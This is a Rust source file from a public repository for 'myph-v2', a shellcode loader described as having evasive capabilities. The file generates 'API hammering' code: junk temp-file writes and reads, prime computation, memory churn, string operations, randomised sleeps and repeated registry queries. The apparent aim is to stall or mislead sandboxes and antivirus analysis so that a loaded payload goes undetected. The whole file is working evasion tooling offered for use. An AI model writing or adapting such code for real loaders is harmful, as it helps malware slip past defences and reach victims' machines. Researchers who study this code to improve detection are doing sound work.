myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
api_hammering.rs (3839B)
      1 pub fn generate_api_hammering_functions() -> String {
      2     r#"
      3 use std::fs::{remove_file, File};
      4 use std::io::{Read, Write};
      5 
      6 fn write_random_files(num: usize) -> std::io::Result<()> {
      7     let dir = std::env::temp_dir();
      8     
      9     for _ in 0..num {
     10         let mut rng = RandomGenerator::new();
     11         let random_suffix = rng.next() as u32;
     12         let extensions = [".log", ".bitmap", ".txt"];
     13         let extension = extensions[(rng.next() % extensions.len())];
     14         let file_name = format!("{:x}{}", random_suffix, extension);
     15         let path = dir.as_path().join(&file_name);
     16         
     17         let size = 0xFFFFF;
     18         
     19         let mut file = File::create(&path)?;
     20         let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
     21         file.write_all(&data)?;
     22 
     23         let mut file = File::open(&path)?;
     24         let mut buffer = vec![0; size];
     25         file.read_exact(&mut buffer)?;
     26         
     27         remove_file(path)?;
     28     }
     29 
     30     Ok(())
     31 }
     32 
     33 #[no_mangle]
     34 #[inline(never)]
     35 fn calc_primes(iterations: usize) {
     36     let mut prime = 2;
     37     let mut i = 0;
     38     while i < iterations {
     39         if (2..prime).all(|j| prime % j != 0) {
     40             i += 1;
     41         }
     42         prime += 1;
     43     }
     44 }
     45 
     46 fn allocate_random_memory(num_allocs: usize) {
     47     let mut allocations = Vec::new();
     48     let mut rng = RandomGenerator::new();
     49 
     50     for _ in 0..num_allocs {
     51         let size = 1024 + (rng.next() % 8192);
     52         let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
     53         allocations.push(data);
     54     }
     55 }
     56 
     57 fn transform_strings(iterations: usize) {
     58     let mut rng = RandomGenerator::new();
     59 
     60     for _ in 0..iterations {
     61         let len = 5 + (rng.next() % 10);
     62         let s: String = (0..len)
     63             .map(|_| {
     64                 let idx = rng.next() % 26;
     65                 (b'a' + idx as u8) as char
     66             })
     67             .collect();
     68         let _uppercase = s.to_uppercase();
     69         let _lowercase = s.to_lowercase();
     70         let _repeated = s.repeat(3);
     71         let _reversed: String = s.chars().rev().collect();
     72     }
     73 }
     74 
     75 fn sleep_random_jitter(max_millis: u64) {
     76     let mut rng = RandomGenerator::new();
     77     let jitter = rng.next() as u64 % max_millis;
     78     std::thread::sleep(std::time::Duration::from_millis(jitter));
     79 }
     80 
     81 fn query_registry_keys(num_queries: usize) -> std::io::Result<()> {
     82     use std::process::Command;
     83 
     84     let keys = [
     85         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion",
     86         r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion",
     87         r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control",
     88         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
     89         r"HKEY_CURRENT_USER\Environment",
     90         r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services",
     91         r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes",
     92         r"HKEY_CURRENT_USER\Software\Classes",
     93         r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System",
     94         r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
     95     ];
     96     let mut rng = RandomGenerator::new();
     97 
     98     for _ in 0..num_queries {
     99         let key = keys[rng.next() % keys.len()];
    100         let _ = Command::new("reg")
    101             .args(&["query", key])
    102             .output();
    103     }
    104 
    105     Ok(())
    106 }
    107 
    108 struct RandomGenerator {
    109     state: u64,
    110 }
    111 
    112 impl RandomGenerator {
    113     fn new() -> Self {
    114         let state = std::time::SystemTime::now()
    115             .duration_since(std::time::UNIX_EPOCH)
    116             .unwrap()
    117             .as_nanos() as u64;
    118         Self { state }
    119     }
    120 
    121     fn next(&mut self) -> usize {
    122         self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
    123         (self.state >> 32) as usize
    124     }
    125 
    126     fn gen(&mut self) -> u8 {
    127         self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
    128         (self.state >> 33) as u8
    129     }
    130 }
    131 "#
    132     .to_string()
    133 }